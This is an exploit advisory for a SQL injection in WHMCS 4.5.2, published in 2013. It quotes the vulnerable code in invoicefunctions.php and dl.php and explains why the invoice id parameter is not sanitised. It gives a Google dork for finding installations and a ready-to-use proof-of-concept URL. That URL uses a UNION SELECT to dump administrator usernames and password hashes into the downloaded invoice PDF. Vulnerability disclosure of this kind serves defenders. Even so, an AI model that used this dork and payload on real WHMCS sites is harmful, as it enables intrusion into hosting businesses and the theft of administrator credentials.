WHMCS 4.5.2 SQL Injection

`# Title: WHMCS 4.x SQL Injection Vulnerability   
# Google Dork: intext:"Powered by WHMCompleteSolution" OR inurl:"submitticket.php‎"‎  
# Author: Ahmed Aboul-Ela  
# Contact: Ahmed.Aboul3la[at]gmail[dot]com  
# Date: 14/5/2013  
# Vendor: http://www.whmcs.com  
# Version: 4.5.2 and perior versions should be affected too   
# Tested on: Linux  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Sql Injection Vulnerability in "/includes/invoicefunctions.php"  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
- Vulnerable Code Snippet :  
  
LINE 582: function pdfInvoice($id)  
LINE 583: {  
LINE 686: if ($CONFIG['GroupSimilarLineItems'])  
LINE 687: {  
LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');  
LINE 689: }  
  
As we can see here the $id argument of pdfInvoice function have been used directly at mysql query without any sanitization which leads directly to Sql Injection  
It appears that pdfInvoice function is being called at "/dl.php" file as the following:  
  
  
LINE 21: if ($type == 'i')  
LINE 22: {  
LINE 23: $result = select_query('tblinvoices', '', array(  
LINE 24: 'id' => $id  
LINE 25: ));  
LINE 26: $data = mysql_fetch_array($result);  
LINE 27: $invoiceid = $data['id'];  
LINE 28: $invoicenum = $data['invoicenum'];  
LINE 29: $userid = $data['userid'];  
LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))  
LINE 31: {  
LINE 32: downloadLogin();  
LINE 33: }  
LINE 34: if (!$invoicenum)  
LINE 35: {  
LINE 36: $invoicenum = $invoiceid;  
LINE 37: }  
LINE 38: require('includes/clientfunctions.php');  
LINE 39: require('includes/countries.php');  
LINE 40: require('includes/invoicefunctions.php');  
LINE 41: require('includes/tcpdf.php');  
LINE 42: $pdfdata = pdfInvoice($id);  
LINE 43: header('Pragma: public');  
LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');  
LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');  
LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');  
LINE 47: header('Cache-Control: private', false);  
LINE 48: header('Content-Type: application/octet-stream');  
LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');  
LINE 50: header('Content-Transfer-Encoding: binary');  
LINE 51: echo $pdfdata;  
LINE 52: exit();  
LINE 53: return 1;  
LINE 54: }  
  
  
As we can see at LINE "42" the pdfInvoice function have been called and passed $id Variable without any sanitization  
Afterwards it force the browser to download the generated invoice in PDF format  
  
- Proof of Concept for Exploitation   
  
To Dump Administrator Credentials (user & pass):  
  
http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --  
  
~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :)  
  
- Precondition to Successfully Exploit the Vulnerability:  
  
"Group Similar Line Items" Option should be Enabled at the Invoices Settings in the WHMCS Admin ( It should be Enabled by default )  
  
- Credits:   
  
Ahmed Aboul-Ela - Information Security Consultant @ Starware Group  
`